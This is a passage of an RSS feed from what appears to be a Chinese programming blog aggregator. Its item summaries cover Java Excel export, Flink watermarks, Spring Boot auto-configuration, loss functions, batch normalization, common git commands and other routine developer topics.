org.apache.poi.ss.usermodel.HorizontalAlignment; import org.apache.poi.ss.usermodel.IndexedColors; import org.apache.poi.ss.usermodel.VerticalAlignment; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import javax.servlet.http.HttpServletResponse; import java.io.*; import java.net.URLEncoder; import java.util.Date; import java.util.List; /** * @author QY * @since 2020-08-03 * @description 使用easyExcel来导出xlsx的工具类 */ public class EasyExcelUtil { private static final Logger log = LoggerFactory.</description>
    </item>
    <item>
      <title>网页调用skype——客服聊天</title>
      <link>https://bchobby.github.io/posts/caaa5b349bac5cd0dc0837e25ceb3a05/</link>
      <pubDate>Mon, 16 Nov 2020 15:20:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/caaa5b349bac5cd0dc0837e25ceb3a05/</guid>
      <description>网上有很多方式，例如：skype:// callto:// 但都不适合&#xA;sip:&amp;lt;123456@qq.com&amp;gt; 通过这个可以调用Skype 商务版</description>
    </item>
    <item>
      <title>立体匹配 --视差预测‘soft argmin‘</title>
      <link>https://bchobby.github.io/posts/03e43d1dc3c38a3e157bc160329e7fe1/</link>
      <pubDate>Mon, 16 Nov 2020 13:15:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03e43d1dc3c38a3e157bc160329e7fe1/</guid>
      <description>1.立体匹配的关键任务就是预测精准的视差图，对于视差图每一个像素位置的值并不是(0-255)灰度值,而是一个视差值。&#xA;2.那么这些视差值如何得到的呢，最开始是由传统方法的 ’argmin‘得到。&#xA;arg min 就是使后面这个式子达到最小值时的变量的取值。例如 函数F(x,y): arg min F(x,y)就是指当F(x,y)取得最小值时，变量x,y的取值。&#xA;3.但这个 &#39;argmin’并不可微，也就是说无法反向传播。&#xA;所以 GCNet这篇文章提出了’soft argmin’这个函数。&#xA;这个函数是‘softmax’操作，经常用于cv的分类任务中，将预测值转换为概率。就是最后的fc-layer将每个分类都赋予概率值。&#xA;4.那么在立体匹配中 &#39;soft max’这个函数是如何使用的呢？&#xA;首先大家要清楚 经过代价聚合后的’cost volume’仍然是一个4D的代价体，深度学习的loss都是用自己网络的预测值与GT(Groud True)做对比分析，经过梯度计算对权重进行调整反向传播回每个神经元。所以对于输出维视差图的立体匹配网络，用这个4D的’cost volume’是无法生成loss的，所以要把它压缩到2D(把3D的特征体提取到2D的视差图).这时候采用’soft max’的思想把经过代价聚合过程的每个视差等级的feature maps通道压缩成1，每个视差等级只有一个feature map,softmax为每个视差等级都计算一个概率，每个像素的视差d乘以改层视差等级的概率，累加得出最后该像素的视差值，从而生成视差图注：‘softmax’ 分配给每个视差等级的概率和为’1’.soft argmin生成预测的视差图，之后还要经过 loss函数计算，反向传播调整网络。 enjoy~</description>
    </item>
    <item>
      <title>Web Workers API</title>
      <link>https://bchobby.github.io/posts/7c2bfd4474a5406cedde3f6a7e813824/</link>
      <pubDate>Mon, 16 Nov 2020 11:41:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c2bfd4474a5406cedde3f6a7e813824/</guid>
      <description> Web Workers API 一个worker是使用一个构造函数创建的一个对象(e.g. Worker()) 运行一个命名的JavaScript文件 – 这个文件包含将在工作线程中运行的代码; workers 运行在另一个全局上下文中,不同于当前的window. 因此，在 Worker 内通过 window获取全局作用域 (而不是self) 将返回错误&#xA;在专用workers的情况下，DedicatedWorkerGlobalScope 对象代表了worker的上下文(专用workers是指标准worker仅在单一脚本中被使用；共享worker的上下文是SharedWorkerGlobalScope对象)。一个专用worker仅仅能被首次生成它的脚本使用，而共享worker可以同时被多个脚本使用&#xA;注意 在worker内，不能直接操作DOM节点，也不能使用window对象的默认方法和属性。然而你可以使用大量window对象之下的东西，包括WebSockets，IndexedDB以及FireFox OS专用的Data Store API等数据存储机制只要运行在同源的父页面中，workers可以依次生成新的workers；并且可以使用XMLHttpRequest 进行网络I/O，但是XMLHttpRequest的responseXML和channel属性总会返回nullworkers和主线程间的数据传递通过这样的消息机制进行——双方都使用postMessage()方法发送各自的消息，使用onmessage事件处理函数来响应消息(消息被包含在Message事件的data属性中)。这个过程中数据并不是被共享而是被复制。在框架中运行时需要解析Workers.js文件 </description>
    </item>
    <item>
      <title>力扣解题思路：完全二叉树 纠错记录</title>
      <link>https://bchobby.github.io/posts/8e9cc8904a37b8948aeeb4d38b533432/</link>
      <pubDate>Mon, 16 Nov 2020 10:44:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e9cc8904a37b8948aeeb4d38b533432/</guid>
      <description>222. 完全二叉树的节点个数 思路：题目要求统计完全二叉树的节点个数，如果抛开树的类型，我们完全可以用普通的递归的方式，比如DFS,BFS都可以： public int countNodes(TreeNode root) { if (root == null) return 0; return countNodes(root.left) + countNodes(root.right) + 1; } 但是这样完全没有利用完全二叉树的特性，首先，完全二叉树的特点是树的节点是一层一层的从左往右放的，也就是说该树的层数是完全取决于最左边的叶子节点的深度的，并且只要右边的叶子节点存在，那么其左边所有叶子节点（同一层的）就一定存在。&#xA;那么我们只需要知道该树的层数以及最后一层的叶子节点的个数，就可以算出整个树的节点数了。&#xA;如果满二叉树的层数为h，则总节点数为：2^h - 1.&#xA;那么我们来对 root 节点的左右子树进行高度统计，分别记为 left 和 right，有以下两种结果：&#xA;1.left == right。这说明，左子树一定是满二叉树，因为节点已经填充到右子树了，左子树必定已经填满了。所以左子树的节点总数我们可以直接得到，是 2^left - 1，加上当前这个 root 节点，则正好是 2^left。再对右子树进行递归统计。&#xA;2.left != right。说明此时最后一层不满，但倒数第二层已经满了，可以直接得到右子树的节点个数。同理，右子树节点 +root 节点，总数为 2^right。再对左子树进行递归查找。&#xA;public int countNodes(TreeNode root) { if(root == null){ return 0; } int left = countLevel(root.left); int right = countLevel(root.right); if(left == right){ return countNodes(root.</description>
    </item>
    <item>
      <title>HTML5&#43;CSS3&#43;Bootstrap开发静态页面嵌入android webview中</title>
      <link>https://bchobby.github.io/posts/658d1ced2c768c5eff3b6b6c66ade59a/</link>
      <pubDate>Sun, 15 Nov 2020 23:19:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/658d1ced2c768c5eff3b6b6c66ade59a/</guid>
      <description>android开发一些体会 文章目录 android开发一些体会前言一、学习知识汇总1.1、Java se基础1.2、android UI编程1.3、android网络编程与数据存储 二、进阶之路(初级-&amp;gt;中级-&amp;gt;高级)2.2、中级工程师2.3、高级工程师 三、全套功能源码 + 从业过程中的企业源码，百分百可跑四、网盘下载地址 前言 不知不觉自己已经做了几年开发了，由记得刚出来工作的时候感觉自己能牛逼，现在回想起来感觉好无知。懂的越多的时候你才会发现懂的越少。&#xA;如果你的知识是一个圆，当你的圆越大时，圆外面的世界也就越大。&#xA;最近看到很多Android新手问Android学习路线，学习方法啊，如何入门啊，所以我从网上找了一些资料，然后以我的工作经验给大家总结一下，让你们少走弯路，提取一些工作中经常用到的技术。&#xA;一、学习知识汇总 1.1、Java se基础 1).Java基本数据类型与表达式，分支循环。&#xA;2).String和StringBuffer的使用、正则表达式。&#xA;3).面向对象的抽象，封装，继承，多态，类与对象，对象初始化和回收；构造函数、this关键字、方法和方法的参数传递过程、static关键字、内部类。&#xA;4).对象实例化过程、方法的覆盖、final关键字、抽象类、接口、继承的优点和缺点剖析；对象的多态性：子类和父类之间的转换、抽象类和接口在多态中的应用、多态带来的好处。&#xA;5).Java异常处理，异常的机制原理。&#xA;6).常用的设计模式：Singleton、Template、Strategy模式。&#xA;7).JavaAPI介绍：种基本数据类型包装类，System和Runtime类，Date和DateFomat类等。&#xA;8).Java集合介绍：Collection、Set、List、ArrayList、LinkedList、Hashset、Map、HashMap、Iterator等常用集合类API。&#xA;9).JavaI/O输入输出流：File和FileRandomAccess类，字节流InputStream和OutputStream，字符流Reader和Writer，以及相应实现类，IO性能分析，字节和字符的转化流，包装流的概念，以及常用包装类，计算机编码。&#xA;10).Java高级特性：反射和泛型。&#xA;11).多线程原理：如何在程序中创建多线程(Thread、Runnable)，线程安全问题，线程的同步，线程之间的通讯、死锁。&#xA;1.2、android UI编程 1)、Android开发环境搭建：Android介绍，Android开发环境搭建，第一个Android应用程序，Android应用程序目录结构。&#xA;2)、Android初级控件的使用：&#xA;TextView控件的使用&#xA;Button控件的使用方法&#xA;EditText控件的使用方法&#xA;ImageView的使用方法&#xA;RadioButton的使用方法&#xA;Checkbox的使用方法&#xA;Menu的使用方法&#xA;3)、Android高级控件的使用：&#xA;ListView的使用方法&#xA;GridView的使用方法&#xA;Adapter的使用方法&#xA;Spinner的使用方法&#xA;Gallary的使用方法&#xA;ScrollView的使用方法&#xA;RecyclerView&#xA;4、对话框与菜单的使用：&#xA;Dialog的基本概念&#xA;BlockquoteAlertDialog的使用方法&#xA;DatePickerDialog的使用方法&#xA;Menu的使用方法&#xA;自定义Menu的实现方法&#xA;5.控件的布局方法：&#xA;线性布局的使用方法&#xA;相对布局的使用方法&#xA;6.多Acitivity管理：&#xA;AndroidManifest.xml文件的作用&#xA;Intent的使用方法&#xA;使用Intent传递数据的方法&#xA;启动Activity的方法&#xA;IntentFilter的使用方法&#xA;Activity Group的使用方法&#xA;7、自定义控件实现方法：&#xA;自定义ListView的实现方法&#xA;可折叠ListView的使用方法&#xA;自定义Adapter的实现方法&#xA;自定义View的实现方法&#xA;动态控件布局的上实现方法</description>
    </item>
    <item>
      <title>ipv6前缀长度是任意的吗_IPv6地址表示方法</title>
      <link>https://bchobby.github.io/posts/21a1f2c3f5e21cdc64ba9263c7aec9d9/</link>
      <pubDate>Sun, 15 Nov 2020 14:11:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21a1f2c3f5e21cdc64ba9263c7aec9d9/</guid>
      <description>由于IPv6拥有128位的长度，所以表达和书写时都具有一定难度。IPv6将整个地址分为8节来表示，每节含16个地址位，以4个十六进制数书写，节与节之间用冒号分隔。如果在4位的十六进数中，如其高位为0，则可省略。连续的一个或者多个全零组可用重叠的冒号“::”表示。&#xA;IPV6地址128位&#xA;IPV6地址用十六进制表示，分为8段，中间用“：”隔开2020:0410:0000:0001:0000:0000:0000:abcd&#xA;若以零开头零可以省略，全段为0可以用一个0表示，连续的全零的段可用“::”表示(只能出现一次) 。&#xA;同一个地址不同表示法的例子：&#xA;2020:0410:0000:0001:0000:0000:0000:abcd&#xA;2020:410:0:1:0:0:0:abcd&#xA;2020:410:0:1::abcd&#xA;IPv6地址可以按照类似CIDR地址的方式表示， IPv6地址与前缀长度以斜杠区分。前缀长度由一个十进制值表示，指定该地址中最左边的用于组成前缀的比特位数。&#xA;例如：&#xA;13AB::CD30:0:0:0:0/60 标识一个子网前缀为60位的子网。&#xA;当需要同时写出该节点的节点地址和前缀(例如:节点的子网前缀)时，可以通过如下方式将二者合一，可以简写成&#xA;13AB:0:0:CDEF:1234:5678:90AB:CDEF/60</description>
    </item>
    <item>
      <title>matlab函数定义和调用</title>
      <link>https://bchobby.github.io/posts/943e7d3f411dca5c6fed6ca17310e9b2/</link>
      <pubDate>Sun, 15 Nov 2020 11:22:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/943e7d3f411dca5c6fed6ca17310e9b2/</guid>
      <description>Matlab函数&#xA;函数是组织好的，可重复使用的，用来实现单一，或相关联功能的代码段。&#xA;函数能提高应用的模块性，和代码的重复利用率。你已经知道Matlab提供了许多内建函数，比如disp()。但你也可以自己创建函数，这被叫做用户自定义函数&#xA;matlab&#xA;disp(‘hello world’)&#xA;hello world&#xA;总的来说，自定义函数分为两步：即定义函数和调用函数。&#xA;定义一个函数&#xA;你可以定义一个由自己想要功能的函数，以下是简单的规则：&#xA;函数代码块以 function关键词开头，后接输出变量和函数标识符名称和圆括号 ()。&#xA;任何传入参数和自变量必须放在圆括号中间，圆括号之间可以用于定义参数。&#xA;函数的第一行语句可以选择性地使用文档字符串—用于存放函数说明。&#xA;函数内容以end结束。&#xA;函数需要定义在脚本文件（*.m）中运行，不可以在命令窗口中临时创建。&#xA;语法&#xA;Matlab定义函数需要使用function关键字，一般格式如下：&#xA;matlab&#xA;function 输出变量 = 函数名（输入变量）&#xA;函数体&#xA;end&#xA;这里的输入变量和输出变量都可以根据实际情况缺省。&#xA;实例&#xA;创建一个函数，用来输出“hello world!” ，步骤如下：&#xA;新建一个脚本，命名为eg1.m&#xA;matlab&#xA;test();&#xA;function test()&#xA;disp(‘hello world!’)&#xA;end&#xA;点击顶部菜单的运行按钮，即可在命令窗口输出：&#xA;matlab&#xA;eg1&#xA;hello world!&#xA;更复杂一点的应用，我们让函数带上输入变量和输出变量：&#xA;matlab&#xA;s = calc_area(4,5);&#xA;function s = calc_area(w,h)&#xA;s = w*h;&#xA;disp([‘area=’,num2str(s)]);&#xA;end&#xA;以上实例输出：&#xA;matlab&#xA;eg2&#xA;area=20&#xA;输入变量缺省&#xA;有时候，输入变量的个数不确定，但是又想将不同个数情况统一到一个函数里，即输入变量有缺省时，可以利用nargin来判断，然后给出对应的输出。例如：&#xA;matlab&#xA;out(1)&#xA;out(1,2)&#xA;out(1,2,3)</description>
    </item>
    <item>
      <title>Flink基础：时间和水印</title>
      <link>https://bchobby.github.io/posts/6ae7198d32f63d6a2cb68383c8810c1a/</link>
      <pubDate>Sat, 14 Nov 2020 23:36:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ae7198d32f63d6a2cb68383c8810c1a/</guid>
      <description>​&#xA;往期推荐：&#xA;Flink基础：入门介绍&#xA;Flink基础：DataStream API&#xA;Flink基础：实时处理管道与ETL&#xA;Flink深入浅出：资源管理&#xA;Flink深入浅出：部署模式&#xA;Flink深入浅出：内存模型&#xA;Flink深入浅出：JDBC Source从理论到实战&#xA;Flink深入浅出：Sql Gateway源码分析&#xA;Flink深入浅出：JDBC Connector源码分析&#xA;本篇终于到了Flink的核心内容：时间与水印。最初接触这个概念是在Spark Structured Streaming中，一直无法理解水印的作用。直到使用了一段时间Flink之后，对实时流处理有了一定的理解，才想清楚其中的缘由。接下来就来介绍下Flink中的时间和水印，以及基于时间特性支持的窗口处理。&#xA;1 时间和水印 1.1 介绍 Flink支持不同的时间类型：&#xA;事件时间：事件发生的时间，是设备生产或存储事件的时间，一般都直接存储在事件上，比如Mysql Binglog中的修改时间；或者用户访问日志的访问时间等。 摄入时间：事件进入Flink的时间，这个时间不常用。 处理时间：某个特殊的算子处理事件的时间，当不在意事件的顺序时，为了保证高吞吐低延迟，会采用这种时间。 比如想要计算给定某天的第一个小时的股票价格趋势，就需要使用事件时间。如果选择处理时间进行计算，那么将会按照当前Flink应用处理的时间进行统计，就可能会造成数据一致性问题，历史数据的分析也很难复现。还有个典型的场景是流式处理往往是7*24小时不间断的运行，加入使用处理时间，当中间停机进行代码更新或者BUG处理时，再次启动，中间未处理的数据会堆积当重启时间一次性处理，这样对统计结果就造成大大的干扰。&#xA;1.2 使用EventTime Flink默认使用的是处理时间，可以通过下面的方法修改成事件时间：&#xA;final StreamExecutionEnvironment env =&#xA;StreamExecutionEnvironment.getExecutionEnvironment();&#xA;env.setStreamTimeCharacteristic(TimeCharacteristic.EventTime);&#xA;如果需要使用事件时间，还需要提供时间抽取器和水印生成器，这样Flink才可以追踪到事件时间的处理进度。&#xA;1.3 水印 通过下面的例子，可以了解为什么需要水印，水印是怎么工作的。在这个例子中，每个事件都带有一个时间标识，下面的数字就是事件上的时间，很明显它们是乱序到达的。第一个到达的是4，然后是2：&#xA;23 19 22 24 21 14 17 13 12 15 9 11 7 2 4(第一个事件)&#xA;加入现在希望对流进行排序，那么每个事件到达的时候，就需要产生一个流，按照时间戳排好序输出每个到达的事件。&#xA;上帝视角：第一个到达的事件是4，但是不能立刻就把它当做第一个元素放入排序流中，因为现在事件是乱序的，无法确定前面的事件是否已经到达。当然现在你已经看到完整的事件顺序，当然会知道只要再等待一个事件，4之前的事件就都处理完了(这就是上帝视角)，但在现实中我们是一条条接收的数据，无法知道4后面出现的是2。 缓存和延迟：如果使用缓存，那么很有可能会永远停止等待。第一个事件是4，第二个事件是2，我们是不是只需要等待一个事件就能保证事件的完整？可能是，也可能不是，比如现在事件就永远等待不到1。 排序策略：对于任何给定的时间事件停止等待之前的数据，直接进行排序。这就是水印的作用：用来定义何时停止等待更早的数据。Flink中的事件时间处理依赖于水印生成器，每当元素进入到Flink，会根据其事件时间，生成一个新的时间戳，即水印。对于t时间的水印，意味着Flink不会再接收t之前的数据，那么t之前的数据就可以进行排序产出顺序流了。在上面的例子中，当水印的时间戳到达2时，就会把2事件输出。 水印策略：每当事件延迟到达时，这些延迟都不是固定的，一种简单的方式是按照最大的延迟事件来判断。对于大部分的应用，这种固定水印都可以工作的比较好。 1.4 延迟和完整性 在批处理中，用户可以一次性看到全部的数据，因此可以很容易的知道事件的顺序。在流处理中总需要等待一段时间，确定事件完整后才能产生结果。可以很激进的配置一个较短的水印延迟时间，这样虽然输入结果不完整(有的时间延迟还未到达就已经开始计算)，但是速度会很快。或者设置较长的延迟，数据会相对完整，但是会有一定的延迟。也可以采用混合的策略，刚开始延迟小一点，当处理了部分数据后，延迟增加。&#xA;1.5 延时 延时通过水印来定义，Watermark(t)代表了t时间的事件是完整的，即小于t的事件都可以开始处理了。&#xA;1.6 使用水印 为了支撑事件时间机制的处理，Flink需要知道每个事件的时间，然后为其产生一个水印。</description>
    </item>
    <item>
      <title>SpringBoot之自动装配原理</title>
      <link>https://bchobby.github.io/posts/080d97fbb560228bf6d478af8411965a/</link>
      <pubDate>Sat, 14 Nov 2020 22:35:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/080d97fbb560228bf6d478af8411965a/</guid>
      <description>Springboot自动装配原理 springboot自动装配 springboo最核心的东西就是自动装配原理，那么自动装装配原理是什么呢？自动装配原理其实就是对strat提供好的xxxAutoConfiguration、配置文件进行读取，当读取完后就配置好这些类。&#xA;详说springboot自动装配 ​ 进入项目后，我们发现springboot为开发者提供了一个类，类里有个run方法，看上去很简单没什么东西需要了解，但是细心的你会发现这个类上有个注解@SpringBootApplication，这个注解表示的就是这个类是springboot的启动类也就是入口。&#xA;@SpringBootApplication public class Demo2Application { public static void main(String[] args) { SpringApplication.run(Demo2Application.class, args); } } ​ 点击这个注解后我们可以看到这个注解上面除了四个元注解还有三个注解，@ComponentScan表示扫描注解，那么@SpringBootConfiguration、@EnableAutoConfiguration又代表什么呢？我们点击进入@SpringBootConfiguration注解里面。&#xA;@Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME) @Documented @Inherited @SpringBootConfiguration @EnableAutoConfiguration @ComponentScan(excludeFilters = { @Filter(type = FilterType.CUSTOM, classes = TypeExcludeFilter.class), @Filter(type = FilterType.CUSTOM, classes = AutoConfigurationExcludeFilter.class) }) public @interface SpringBootApplication { .... } @SpringBootConfiguration ​ 进入注解后我们看到这个注解里面出现了@Configuration注解，@configuration注解代表这个类就是一个配置文件，功能等同于在spring中的Application.xml文件。那么就是说@SpringBootConfiguration注解想表达的意思就是在类上面添加了他，他就把这个类变成一个配置类。&#xA;@Target({ElementType.TYPE}) @Retention(RetentionPolicy.RUNTIME) @Documented @Configuration public @interface SpringBootConfiguration { @AliasFor( annotation = Configuration.class ) boolean proxyBeanMethods() default true; } ​ 我还是不放心，害怕springboot欺骗我，我继续点击@Configuration注解进入后发现他确实是个配置注解，这个注解里出了通用注解，剩下的也就是元注解。</description>
    </item>
    <item>
      <title>BN：Batch Normalization 解读</title>
      <link>https://bchobby.github.io/posts/6fba094f572fd1d1e6f01ddadf570be8/</link>
      <pubDate>Sat, 14 Nov 2020 10:40:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6fba094f572fd1d1e6f01ddadf570be8/</guid>
      <description>随机梯度下降法（SGD）对于训练深度网络简单高效，但是它有个毛病，就是需要我们人为的去选择参数，比如学习率、参数初始化、权重衰减系数、Drop out比例等。这些参数的选择对训练结果至关重要，以至于我们很多时间都浪费在这些的调参上。那么使用BN之后，你可以不需要那么刻意的慢慢调整参数。 1.我们知道数据在输入到神经网络之前要进行预处理，其中包括数据增强，裁剪、归一化等操作，这会使网络对数据分布达到更好的训练效果。&#xA;2.那是不是考虑将每一层网络的输出也经过一次预处理再输送到下一层网络，通过这样的做法使网络的泛化性和训练速度更优呢？&#xA;3.BN层主要是解决“Internal Covariate Shift”的问题，因为网络主要学习的是数据集的分布。但数据经过深层次的网络后分不会发生变化，这样变化后的数据在经过下一层网络，会引发梯度爆炸或消失(只要网络的前面几层发生微小的改变，那么后面几层就会被累积放大下去。一旦网络某一层的输入数据的分布发生改变，那么这一层网络就需要去适应学习这个新的数据分布，所以如果训练过程中，训练数据的分布一直在发生变化，那么将会影响网络的训练速度)。&#xA;4.BN的计算流程：&#xA;对每层数据都进行这样的操作，防止数据的分布&#xA;计算样本均值。计算样本方差。样本数据标准化处理。进行平移和缩放处理。引入了γ和β两个参数。来训练γ和β两个参数。引入了这个可学习重构参数γ、β，让我们的网络可以学习恢复出原始网络所要学习的特征分布。如果γ和β分别等于此batch的方差和均值，那么yi就还原到了归一化前的x，β 和γ分别称之为 平移参数和缩放参数 。这样就保证了每一次数据经过归一化后还保留的有学习来的特征，同时又能完成归一化这个操作，加速训练。正向传播时，计算β 和γ，使输出达到和输入相同的分布，反向传播时通过计算β 和γ的梯度，调整权重。&#xA;假设我们的数据分布如a所示，参数初始化一般是0均值，和较小的方差，此时拟合的y=wx+b y=wx+by=wx+b如b图中的橘色线，经过多次迭代后，达到紫色线，此时具有很好的分类效果，但是如果我们将其归一化到0点附近，如图c，显然会加快训练速度，如此我们更进一步的通过变换拉大数据之间的相对差异性(图d)，那么就更容易区分了。 总结 1.加入BN层后由于网络每层的训练数据分布相同，极大的提高了训练速度和收敛速度。&#xA;2.减少对初始化参数的依赖&#xA;3.改善正则化策略：作为正则化的一种形式，轻微减少了对dropout的需求(对梯度爆炸和下降有大的改善)&#xA;4.对于彻底打乱的数据鲁棒性高，因为输入分布被归为一致化。&#xA;enjoy~</description>
    </item>
    <item>
      <title>easyexcel 导出 代码翻译converter_Hutool Java工具类库导出Excel，超级简单</title>
      <link>https://bchobby.github.io/posts/dc85a633da1c400cf6a39feda5f758c4/</link>
      <pubDate>Sat, 14 Nov 2020 05:01:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc85a633da1c400cf6a39feda5f758c4/</guid>
      <description>作者：程序猿的内心独白&#xA;原文链接：http://suo.im/5Zxx2L&#xA;前言 在开发应用系统的时候，导出文件是必不可放的功能。&#xA;以前用过POI、easyexcel等工具的导入导出功能，但总感觉太麻烦了，代码特别多，感觉并不是很好用。&#xA;今天给大家介绍一款新工具，java工具类库Hutool。&#xA;Hutool简介&#xA;Hutool是一个小而全的Java工具类库，通过静态方法封装，降低相关API的学习成本，提高工作效率，使Java拥有函数式语言般的优雅，让使用者更轻松。&#xA;Hutool中的工具方法来自于每个用户的精雕细琢，它涵盖了Java开发底层代码中的方方面面，它既是大型项目开发中解决小问题的利器，也是小型项目中的效率担当；&#xA;Hutool是项目中“util”包友好的替代，它节省了开发人员对项目中公用类和公用工具方法的封装时间，使开发专注于业务，同时可以最大限度的避免封装不完善带来的bug。&#xA;使用 首先在POM.xml中加入GAV&#xA;cn.hutool&#xA;hutool-all&#xA;5.0.7&#xA;org.apache.poi&#xA;poi-ooxml&#xA;4.1.1&#xA;org.apache.poi&#xA;poi-ooxml-schemas&#xA;3.17&#xA;然后在控制层使用就行&#xA;@RequestMapping(&#34;/export&#34;)&#xA;@ResponseBody&#xA;public void export(HttpServletResponse response){&#xA;List list = new ArrayList&amp;lt;&amp;gt;;&#xA;list.add(new User(&#34;zhangsan</description>
    </item>
    <item>
      <title>smooth L1、L1、L2 损失函数的区别</title>
      <link>https://bchobby.github.io/posts/94ef0171b0f75d07c38352a23e24c77e/</link>
      <pubDate>Fri, 13 Nov 2020 16:51:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/94ef0171b0f75d07c38352a23e24c77e/</guid>
      <description>感谢商汤科技给我一次面试的机会，通过面试也暴漏了自己很多问题。立体匹配中很多网络都是用的 smooth L1 loss。那他和L1、L2 loss的区别是什么呢？ L1 loss(MAE） 其中 x 为预测框与 groud truth 之间 elementwise 的差异。&#xA;先说下L1 loss的优点： 优点：L1 的导数为常数。，无论对于什么样的输入值，都有着稳定的梯度，不会导致梯度爆炸问题，具有较为稳健性的解。如果训练数据被异常值破坏的话（也就是我们在训练环境中错误地接收到巨大的不切实际的正/负值，但在测试环境中却没有），MAE会很有用。 L1 的缺点： 对于数据集的一个小的水平方向的波动，回归线也许会跳跃很大（如，在转折点处求导）。在一些数据结构上，该方法有许多连续解；但是，对数据集的一个微小移动，就会跳过某个数据结构在一定区域内的许多连续解。在跳过这个区域内的解后，最小绝对值偏差线可能会比之前的线有更大的倾斜。&#xA;上图形象的说明了L1的缺点，当损失很小的时候，L1 loss还是以固定的损失值调整模型，这就导致训练后期，预测值与 ground truth 差异很小时，损失对预测值的导数的绝对值仍然为 1，而 learning rate 如果不变，损失函数将在稳定值附近波动，难以继续收敛以达到更高精度。 L2 loss 其中 x 为预测框与 groud truth 之间 elementwise 的差异。&#xA;L2的优势 注意L2的曲线图，当损失值很小的时候，梯度会随着损失值的减小而变小，使模型更易收敛，损失函数达到最小值。&#xA;L2 缺点： 因为MSE是误差的平方值（y — y_predicted = e），那么误差（e）的值在e &amp;gt; 1时会增加很多。如果我们的数据中有异常值，e的值会非常高，e²会&amp;gt;&amp;gt; |e|，引发梯度爆炸的现象。这会让存在MSE误差的模型比存在MAE误差的模型向异常值赋予更多的权重。 smooth L1损失 smooth L1在 x 较小时，对 x 的梯度也会变小，而在smooth L1很大时，对 x 的梯度的绝对值达到上限 1，也不会太大以至于破坏网络参数。 smooth L1完美地避开了 L1 和 L2损失的缺陷。其函数图像如下：</description>
    </item>
    <item>
      <title>在typora中实现文本和图片并排显示</title>
      <link>https://bchobby.github.io/posts/3cb12f0cec600fb68bae3cac5d45098e/</link>
      <pubDate>Fri, 13 Nov 2020 11:30:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3cb12f0cec600fb68bae3cac5d45098e/</guid>
      <description>实现代码为：&#xA;&amp;lt;div class=&#34;row&#34;&amp;gt; &amp;lt;div class=&#34;column&#34; style=&#34;float:left;width:75%&#34;&amp;gt; &amp;lt;u&amp;gt;Consider the familiar child’s game of tic-tac-toe.&amp;lt;/u&amp;gt; Because a skilled player can play so as never to lose, let us assume that we are playing against an &amp;lt;u&amp;gt;imperfect player&amp;lt;/u&amp;gt;, one whose play is sometimes incorrect and allows us to win. For the moment, in fact, let us consider draws and losses to be equally bad for us. How might we &amp;lt;u&amp;gt;construct a player&amp;lt;/u&amp;gt; that will &amp;lt;u&amp;gt;find the imperfections in its opponent’s play and learn to maximize its chances of winning&amp;lt;/u&amp;gt;?</description>
    </item>
    <item>
      <title>【编辑器】Unity编辑器里DOTween动画曲线的预览器</title>
      <link>https://bchobby.github.io/posts/9dcb4c3995d62858a0bb1b835f6b2c9c/</link>
      <pubDate>Thu, 12 Nov 2020 23:33:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9dcb4c3995d62858a0bb1b835f6b2c9c/</guid>
      <description>效果如下：&#xA;点击任意地方，小球会根据选择的曲线类型进行测试移动，更直观查看曲线运动轨迹。&#xA;在Unity开发过程中，我们都可能会需要用到DOTween来做一些补间动画，其中，这些补间动画往往会有一些曲线效果。那么，如何来查看这些曲线的轨迹以及曲线的作用效果呢？DOTween插件里好像没有对应的预览器，所以我在闲杂时间便撸了个代码，方便后面编辑动画时，查看动画曲线的效果。直接上代码：&#xA;using System.Collections;&#xA;using System.Collections.Generic;&#xA;using UnityEngine;&#xA;using UnityEditor;&#xA;using DG.Tweening;&#xA;public class EasingDemoPreviewWindow : EditorWindow&#xA;{&#xA;[MenuItem(&#34;Window/Dotween Easing Demo&#34;)]&#xA;public static void ShowWindow()&#xA;{&#xA;GetWindow&amp;lt;EasingDemoPreviewWindow&amp;gt;(&#34;Dotween Easing Demo&#34;);&#xA;}&#xA;const int POINT_COUNT = 60;&#xA;const float TIME_DELTATIME = 0.02f;&#xA;const int POINT_LENGTH = 10;&#xA;Ease _ease = Ease.Linear;&#xA;private int _easeEnumLength = 0;&#xA;Vector2 _rectStartPos = new Vector2(50,200);&#xA;private Vector3 _ballTmpPos = new Vector3(200, 200, -10);&#xA;private float _ballMoveTimer;</description>
    </item>
    <item>
      <title>整理一些常用的git命令</title>
      <link>https://bchobby.github.io/posts/113239cade206b9d24051d533e89e470/</link>
      <pubDate>Thu, 12 Nov 2020 20:02:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/113239cade206b9d24051d533e89e470/</guid>
      <description>1.配置 配置提交人姓名 --------- git config --global user.name -----name姓名&#xA;配置提交人邮箱 ---------- git config --global user.email ---email邮箱&#xA;查看配置信息 --------- git config --list&#xA;删除配置 --------- git config --global --unset user.name/user.email&#xA;2.缓存区 添加缓存区 git add . --------一次性全部添加 git add 文件列表-----指定添加&#xA;缓存区文件提交到仓库 ----------git commit -m &#34;提交信息&#34;(没有提交信息不可以提交)&#xA;查看提交记录 ---------- git log(按q退出)&#xA;缓存区的文件覆盖工作目录的文件 ----------- git checkout 文件名&#xA;删除缓存区中的文件(不会删除工作目录文件) ----------------- git rm --cached 文件名&#xA;直接将所有文件都删除 ----------- 可以执行命令 git rm --f 文件名（慎用）&#xA;缓存区返回上一次修改的版本 ---------- git reset 文件名&#xA;从提交记录中恢复 ------------ git reset --hard 提交记录ID(如果不写提交id默认最新) ​ ------------ 会覆盖缓存区和工作目录 ​ ------------- 恢复后，该commitID之后的提交记录都会被删除 ​ ------------- 加了--hard会直接将文件删除，不会保留，如果需要保留文件，就不要加--hard 3.</description>
    </item>
    <item>
      <title>linux下安装redis报Mmmm... it seems like you don‘t have a redis executable. Did you run make install yet?</title>
